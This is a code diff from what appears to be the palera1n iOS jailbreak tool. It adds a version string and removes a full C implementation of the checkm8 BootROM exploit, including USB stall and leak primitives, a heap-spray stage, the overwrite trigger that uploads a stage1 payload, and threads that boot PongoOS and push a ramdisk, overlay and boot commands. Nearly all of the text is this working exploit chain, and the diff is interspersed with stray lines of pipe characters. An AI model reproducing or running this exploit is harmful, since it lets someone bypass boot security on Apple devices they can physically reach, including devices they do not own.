* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifndef GLOBALS_H
|
#ifndef GLOBALS_H
|
||||||
#define GLOBALS_H
|
#define GLOBALS_H
|
||||||
|
|
||||||
@@ -5,12 +32,15 @@
|
|||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
|
|
||||||
|
#define PALERAIN_VERSION "3.0.0"
|
||||||
|
|
||||||
extern uint64_t palerain_flags;
|
extern uint64_t palerain_flags;
|
||||||
extern char boot_args[0x270];
|
extern char boot_args[0x270];
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
const uint8_t *data;
|
const uint8_t *data;
|
||||||
size_t data_len;
|
size_t data_len;
|
||||||
|
size_t uncompressed_data_len;
|
||||||
} payload_t;
|
} payload_t;
|
||||||
|
|
||||||
extern payload_t g_payload_overlay;
|
extern payload_t g_payload_overlay;
|
||||||
@@ -28,4 +58,4 @@ bool override_payload_from_file(const char *path, payload_t *out);
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#endif // GLOBALS_H
|
#endif // GLOBALS_H
|
||||||
@@ -1,239 +0,0 @@
|
|||||||
#include "checkm8.h"
|
|
||||||
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include "payload.h"
|
|
||||||
#include "dfu.h"
|
|
||||||
#include "stage1.h"
|
|
||||||
|
|
||||||
#include "../utils.h"
|
|
||||||
#include "../usb/shim.h"
|
|
||||||
#include "../usb/pongo_helper.h"
|
|
||||||
|
|
||||||
static struct {
|
|
||||||
uint8_t b_len, b_descriptor_type;
|
|
||||||
uint16_t bcd_usb;
|
|
||||||
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
|
||||||
uint16_t id_vendor, id_product, bcd_device;
|
|
||||||
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
|
||||||
} device_descriptor;
|
|
||||||
|
|
||||||
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
|
|
||||||
struct {
|
|
||||||
uint8_t status, poll_timeout[3], state, str_idx;
|
|
||||||
} dfu_status;
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
|
|
||||||
&& dfu_status.status == status && dfu_status.state == state;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dfu_set_state_wait_reset(const usb_handle_t *handle) {
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
|
|
||||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
|
||||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
|
||||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool checkm8_stage_reset(const usb_handle_t *handle) {
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN
|
|
||||||
&& dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ)
|
|
||||||
{
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
|
||||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
for(;;) {
|
|
||||||
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret)
|
|
||||||
&& transfer_ret.sz < deviceConfig->config_overwrite_pad
|
|
||||||
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_STALL)
|
|
||||||
{
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
|
|
||||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void checkm8_stall(const usb_handle_t *handle) {
|
|
||||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
for(;;) {
|
|
||||||
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool checkm8_no_leak(const usb_handle_t *handle) {
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret)
|
|
||||||
&& transfer_ret.sz == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool checkm8_usb_request_stall(const usb_handle_t *handle) {
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_STALL;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *get_usb_serial_number(usb_handle_t *handle) {
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
uint8_t buf[UINT8_MAX];
|
|
||||||
char *str = NULL;
|
|
||||||
size_t i, sz;
|
|
||||||
|
|
||||||
if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor)
|
|
||||||
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
|
|
||||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0]
|
|
||||||
&& (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL)
|
|
||||||
{
|
|
||||||
for(i = 0; i < sz; ++i) {
|
|
||||||
str[i] = (char)buf[2 * (i + 1)];
|
|
||||||
}
|
|
||||||
str[sz - 1] = '\0';
|
|
||||||
}
|
|
||||||
return str;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
|
||||||
size_t i;
|
|
||||||
|
|
||||||
if(deviceConfig->config_large_leak == 0) {
|
|
||||||
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
|
|
||||||
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
|
||||||
} else {
|
|
||||||
checkm8_stall(handle);
|
|
||||||
for(i = 0; i < deviceConfig->config_hole; ++i) {
|
|
||||||
while(!checkm8_no_leak(handle)) {}
|
|
||||||
}
|
|
||||||
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
|
||||||
}
|
|
||||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
|
|
||||||
} else {
|
|
||||||
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
|
|
||||||
while(!checkm8_usb_request_stall(handle)) {}
|
|
||||||
}
|
|
||||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
|
|
||||||
}
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
|
||||||
size_t i, data_sz, packet_sz;
|
|
||||||
void *data;
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
bool ret = false;
|
|
||||||
|
|
||||||
const uint8_t *checkra1n_payload = NULL;
|
|
||||||
void *overwrite = NULL;
|
|
||||||
size_t checkra1n_payload_sz = 0;
|
|
||||||
size_t overwrite_sz = 0;
|
|
||||||
|
|
||||||
checkm8_overwrite_t checkm8_overwrite;
|
|
||||||
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
|
|
||||||
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
|
|
||||||
overwrite = &checkm8_overwrite;
|
|
||||||
overwrite_sz = sizeof(checkm8_overwrite);
|
|
||||||
|
|
||||||
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
|
|
||||||
if (!ret) return false;
|
|
||||||
|
|
||||||
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
|
|
||||||
if (!ret) return false;
|
|
||||||
|
|
||||||
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
|
||||||
LOG_VERBOSE("successfully leaked data");
|
|
||||||
} else {
|
|
||||||
LOG_ERROR("failed to leak data");
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
for(i = 0; i < 2; i++) {
|
|
||||||
LOG_VERBOSE("i = %zu", i);
|
|
||||||
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
|
|
||||||
}
|
|
||||||
if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
|
|
||||||
ret = true;
|
|
||||||
for(i = 0; ret && i < data_sz; i += packet_sz) {
|
|
||||||
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
|
||||||
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
|
|
||||||
}
|
|
||||||
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
|
|
||||||
}
|
|
||||||
free(data);
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool checkm8_boot_pongo(usb_handle_t *handle)
|
|
||||||
{
|
|
||||||
transfer_ret_t transfer_ret;
|
|
||||||
|
|
||||||
uint8_t *out;
|
|
||||||
size_t out_len;
|
|
||||||
|
|
||||||
if (!prepare_pongo(&out, &out_len)) {
|
|
||||||
LOG_ERROR("Failed to prepare pongoOS payload");
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
{
|
|
||||||
size_t len = 0;
|
|
||||||
|
|
||||||
while (len < out_len)
|
|
||||||
{
|
|
||||||
size_t chunk = (out_len - len > 0x800) ? 0x800 : (out_len - len);
|
|
||||||
|
|
||||||
retry:
|
|
||||||
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, out + len, chunk, &transfer_ret);
|
|
||||||
|
|
||||||
if (transfer_ret.sz != chunk || transfer_ret.ret != USB_TRANSFER_OK)
|
|
||||||
{
|
|
||||||
LOG_VERBOSE("retrying at len = %zu", len);
|
|
||||||
sleep_ms(100);
|
|
||||||
goto retry;
|
|
||||||
}
|
|
||||||
|
|
||||||
len += chunk;
|
|
||||||
LOG_VERBOSE("len = %zu", len);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
free(out);
|
|
||||||
|
|
||||||
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
|
|
||||||
LOG_SUCCESS("PongoOS has been sent off");
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
#ifndef CHECKM8_H
|
|
||||||
#define CHECKM8_H
|
|
||||||
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#include "payload.h"
|
|
||||||
|
|
||||||
#include "../usb/shim.h"
|
|
||||||
|
|
||||||
#define EP0_MAX_PACKET_SZ (0x40)
|
|
||||||
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
|
|
||||||
|
|
||||||
#ifndef MIN
|
|
||||||
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
bool checkm8_stage_reset(const usb_handle_t *handle);
|
|
||||||
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
|
||||||
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
|
||||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
|
|
||||||
bool checkm8_boot_pongo(usb_handle_t *handle);
|
|
||||||
|
|
||||||
#endif // CHECKM8_H
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
#include "payload.h"
|
|
||||||
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
uint16_t dfu_serial_number_get_cpid(char *serial) {
|
|
||||||
char *cpid = strstr(serial, "CPID:");
|
|
||||||
if (cpid == NULL) { return -1; }
|
|
||||||
return strtol(cpid + 5, NULL, 16);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
|
|
||||||
char *DFU = strstr(serial, "SRTG");
|
|
||||||
return DFU != NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dfu_serial_number_is_pwned(char *serial) {
|
|
||||||
char *pwnd = strstr(serial, "PWND:");
|
|
||||||
return pwnd != NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
|
|
||||||
char *yolo = strstr(serial, "YOLO");
|
|
||||||
return yolo != NULL;
|
|
||||||
}
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
#ifndef DFU_H
|
|
||||||
#define DFU_H
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
#define DFU_DNLOAD 1
|
|
||||||
#define DFU_UPLOAD 2
|
|
||||||
#define DFU_GET_STATUS 3
|
|
||||||
#define DFU_CLR_STATUS 4
|
|
||||||
#define DFU_GETSTATE 5
|
|
||||||
#define DFU_ABORT 6
|
|
||||||
|
|
||||||
#define DFU_FILE_SUFFIX_LEN 16
|
|
||||||
#define EP0_MAX_PACKET_SIZE 0x40
|
|
||||||
#define DFU_MAX_TRANSFER_SZ 0x800
|
|
||||||
#define DFU_STATUS_OK 0
|
|
||||||
#define DFU_STATE_MANIFEST_SYNC 6
|
|
||||||
#define DFU_STATE_MANIFEST 7
|
|
||||||
#define DFU_STATE_MANIFEST_WAIT_RESET 8
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
uint16_t dfu_serial_number_get_cpid(char *serial);
|
|
||||||
bool dfu_serial_number_is_in_dfu_mode(char *serial);
|
|
||||||
bool dfu_serial_number_is_pwned(char *serial);
|
|
||||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
|
|
||||||
bool device_serial_number_is_in_pongo_os(char *serial);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif // DFU_H
|
|
||||||
-290
@@ -1,290 +0,0 @@
|
|||||||
#include "run.h"
|
|
||||||
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdatomic.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
#include <pthread.h>
|
|
||||||
#include <inttypes.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include "../utils.h"
|
|
||||||
#include "../globals.h"
|
|
||||||
#include "../paleinfo.h"
|
|
||||||
#include "../usb/shim.h"
|
|
||||||
#include "../usb/driver.h"
|
|
||||||
#include "../usb/pongo_helper.h"
|
|
||||||
|
|
||||||
#include "checkm8.h"
|
|
||||||
#include "dfu.h"
|
|
||||||
#include "payload.h"
|
|
||||||
|
|
||||||
#define VID_APPLE (0x5AC)
|
|
||||||
#define PID_PONGO (0x4141)
|
|
||||||
#define PID_DFU (0x1227)
|
|
||||||
|
|
||||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
|
||||||
|
|
||||||
const char* stage_to_string(int stage)
|
|
||||||
{
|
|
||||||
switch (stage) {
|
|
||||||
case STAGE_SETUP: return "Checking if device is ready";
|
|
||||||
case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)";
|
|
||||||
case STAGE_PATCH: return "Right before trigger (this is the real bug setup)";
|
|
||||||
case STAGE_YOLODFU: return "Booting PongoOS...";
|
|
||||||
case STAGE_PONGO: return "Booting...";
|
|
||||||
case STAGE_DONE: return "Done.";
|
|
||||||
default: return "Idle.";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int stage_to_progress(int stage)
|
|
||||||
{
|
|
||||||
switch (stage) {
|
|
||||||
case STAGE_SETUP: return 30;
|
|
||||||
case STAGE_SPRAY: return 40;
|
|
||||||
case STAGE_PATCH: return 50;
|
|
||||||
case STAGE_YOLODFU: return 60;
|
|
||||||
case STAGE_PONGO: return 70;
|
|
||||||
case STAGE_DONE: return 100;
|
|
||||||
default: return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif // WITH_GUI || WITH_TUI
|
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
|
|
||||||
static void *driver_thread(void *arg)
|
|
||||||
{
|
|
||||||
shared_t *s = (shared_t *)arg;
|
|
||||||
|
|
||||||
LOG_VERBOSE("Starting thread for libusbK driver installing");
|
|
||||||
|
|
||||||
while (!atomic_load(&s->stop)) {
|
|
||||||
|
|
||||||
if (usb_device_present(VID_APPLE, PID_DFU)) {
|
|
||||||
driver_result_t ret =
|
|
||||||
install_libusbk_target(VID_APPLE, PID_DFU);
|
|
||||||
|
|
||||||
if (ret == DRIVER_SUCCESS)
|
|
||||||
LOG_VERBOSE("DFU libusbK ready");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (usb_device_present(VID_APPLE, PID_PONGO)) {
|
|
||||||
|
|
||||||
driver_result_t ret =
|
|
||||||
install_libusbk_target(VID_APPLE, PID_PONGO);
|
|
||||||
|
|
||||||
if (ret == DRIVER_SUCCESS) {
|
|
||||||
LOG_SUCCESS("PongoOS libusbK ready");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sleep_ms(500);
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif
|
|
||||||
|
|
||||||
static void *exploit_thread(void *arg)
|
|
||||||
{
|
|
||||||
LOG_VERBOSE("Starting thread for DFU devices");
|
|
||||||
LOG("Waiting for DFU devices...");
|
|
||||||
|
|
||||||
shared_t *s = (shared_t *)arg;
|
|
||||||
|
|
||||||
usb_handle_t handle;
|
|
||||||
struct DeviceConfiguration deviceConfig;
|
|
||||||
struct PayloadConfiguration payloadConfig;
|
|
||||||
|
|
||||||
int stage = STAGE_RESET;
|
|
||||||
bool ret = false;
|
|
||||||
|
|
||||||
init_usb_handle(&handle, VID_APPLE, PID_DFU);
|
|
||||||
|
|
||||||
while (!atomic_load(&s->stop)) {
|
|
||||||
if (!wait_usb_handle(&handle)) {
|
|
||||||
if (atomic_load(&s->stop)) break;
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *sn = get_usb_serial_number(&handle);
|
|
||||||
if (!sn) {
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
uint64_t cpid = dfu_serial_number_get_cpid(sn);
|
|
||||||
if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig)
|
|
||||||
|| !checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig))
|
|
||||||
{
|
|
||||||
free(sn);
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dfu_serial_number_is_pwned(sn)) {
|
|
||||||
LOG_WARN("Detected already PWN'd device, skipping");
|
|
||||||
free(sn);
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
continue;
|
|
||||||
} else if (dfu_serial_number_is_in_dfu_mode(sn)) {
|
|
||||||
LOG_SUCCESS("Detected DFU device");
|
|
||||||
} else if (dfu_serial_number_is_in_yolo_dfu(sn)) {
|
|
||||||
LOG_SUCCESS("Detected YoloDFU device");
|
|
||||||
stage = STAGE_YOLODFU;
|
|
||||||
} else {
|
|
||||||
free(sn);
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
free(sn);
|
|
||||||
atomic_store(&s->stage, stage);
|
|
||||||
|
|
||||||
switch (stage) {
|
|
||||||
case STAGE_RESET:
|
|
||||||
ret = checkm8_stage_reset(&handle);
|
|
||||||
stage = ret ? STAGE_SETUP : STAGE_RESET;
|
|
||||||
break;
|
|
||||||
case STAGE_SETUP:
|
|
||||||
LOG("Checking if device is ready");
|
|
||||||
ret = checkm8_stage_setup(&handle, &deviceConfig);
|
|
||||||
stage = ret ? STAGE_SPRAY : STAGE_RESET;
|
|
||||||
break;
|
|
||||||
case STAGE_SPRAY:
|
|
||||||
LOG("Setting up the exploit (this is the heap spray)");
|
|
||||||
ret = checkm8_stage_spray(&handle, &deviceConfig);
|
|
||||||
stage = ret ? STAGE_PATCH : STAGE_RESET;
|
|
||||||
break;
|
|
||||||
case STAGE_PATCH:
|
|
||||||
LOG("Right before trigger (this is the real bug setup)");
|
|
||||||
ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig);
|
|
||||||
stage = STAGE_RESET;
|
|
||||||
if (!ret) {
|
|
||||||
LOG_ERROR("Failed doing trigger");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
continue;
|
|
||||||
case STAGE_YOLODFU:
|
|
||||||
LOG("Booting PongoOS...");
|
|
||||||
ret = checkm8_boot_pongo(&handle);
|
|
||||||
if (!ret) LOG_ERROR("Failed to send PongoOS to device");
|
|
||||||
stage = STAGE_RESET;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
}
|
|
||||||
|
|
||||||
close_usb_handle(&handle);
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void *pongo_thread(void *arg)
|
|
||||||
{
|
|
||||||
LOG_VERBOSE("Starting thread for PongoOS devices");
|
|
||||||
|
|
||||||
shared_t *s = (shared_t *)arg;
|
|
||||||
|
|
||||||
usb_handle_t handle;
|
|
||||||
bool seen = false;
|
|
||||||
|
|
||||||
init_usb_handle(&handle, VID_APPLE, PID_PONGO);
|
|
||||||
|
|
||||||
while (!atomic_load(&s->stop)) {
|
|
||||||
if (!wait_usb_handle(&handle)) {
|
|
||||||
if (atomic_load(&s->stop)) break;
|
|
||||||
reset_usb_handle(&handle);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (seen) break;
|
|
||||||
seen = true;
|
|
||||||
|
|
||||||
LOG_SUCCESS("Detected PongoOS device");
|
|
||||||
|
|
||||||
atomic_store(&s->stage, STAGE_PONGO);
|
|
||||||
|
|
||||||
if (palerain_flags & palerain_option_pongo_exit) {
|
|
||||||
goto exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
char paleinfo[64];
|
|
||||||
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
|
|
||||||
|
|
||||||
char xargs_cmd[0x270];
|
|
||||||
snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args);
|
|
||||||
if (palerain_flags & palerain_option_setup_rootful) {
|
|
||||||
strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
issue_pongo_command(&handle, "fuse lock");
|
|
||||||
issue_pongo_command(&handle, "sep auto");
|
|
||||||
if (g_payload_kpf.data_len > 0) {
|
|
||||||
upload_buffer_to_pongo(&handle, g_payload_kpf.data, g_payload_kpf.data_len);
|
|
||||||
issue_pongo_command(&handle, "modload");
|
|
||||||
}
|
|
||||||
issue_pongo_command(&handle, paleinfo);
|
|
||||||
if (g_payload_ramdisk.data_len > 0) {
|
|
||||||
upload_buffer_to_pongo(&handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len);
|
|
||||||
issue_pongo_command(&handle, "ramdisk");
|
|
||||||
}
|
|
||||||
if (g_payload_overlay.data_len > 0) {
|
|
||||||
upload_buffer_to_pongo(&handle, g_payload_overlay.data, g_payload_overlay.data_len);
|
|
||||||
issue_pongo_command(&handle, "overlay");
|
|
||||||
}
|
|
||||||
if (strlen(boot_args) > 0) issue_pongo_command(&handle, xargs_cmd);
|
|
||||||
issue_pongo_command(&handle, "bootx");
|
|
||||||
|
|
||||||
exit:
|
|
||||||
#ifdef _WIN32
|
|
||||||
uninstall_libusbk_target(VID_APPLE, PID_DFU);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
atomic_store(&s->stage, STAGE_DONE);
|
|
||||||
atomic_store(&s->stop, true);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
close_usb_handle(&handle);
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool exploit(shared_t *state)
|
|
||||||
{
|
|
||||||
pthread_t t1, t2;
|
|
||||||
#ifdef _WIN32
|
|
||||||
pthread_t td;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
pthread_create(&t1, NULL, exploit_thread, state);
|
|
||||||
pthread_create(&t2, NULL, pongo_thread, state);
|
|
||||||
#ifdef _WIN32
|
|
||||||
pthread_create(&td, NULL, driver_thread, state);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
while (!atomic_load(&state->stop)) {
|
|
||||||
sleep_ms(10);
|
|
||||||
}
|
|
||||||
|
|
||||||
pthread_cancel(t1);
|
|
||||||
pthread_cancel(t2);
|
|
||||||
#ifdef _WIN32
|
|
||||||
pthread_cancel(td);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
pthread_join(t1, NULL);
|
|
||||||
pthread_join(t2, NULL);
|
|
||||||
#ifdef _WIN32
|
|
||||||
pthread_join(td, NULL);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return atomic_load(&state->result) == 1;
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
#ifndef RUN_H
|
|
||||||
#define RUN_H
|
|
||||||
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
#include <atomic>
|
|
||||||
using std::atomic_int;
|
|
||||||
using std::atomic_bool;
|
|
||||||
extern "C" {
|
|
||||||
#else
|
|
||||||
#include <stdatomic.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
enum exploit_stage {
|
|
||||||
STAGE_RESET = 0,
|
|
||||||
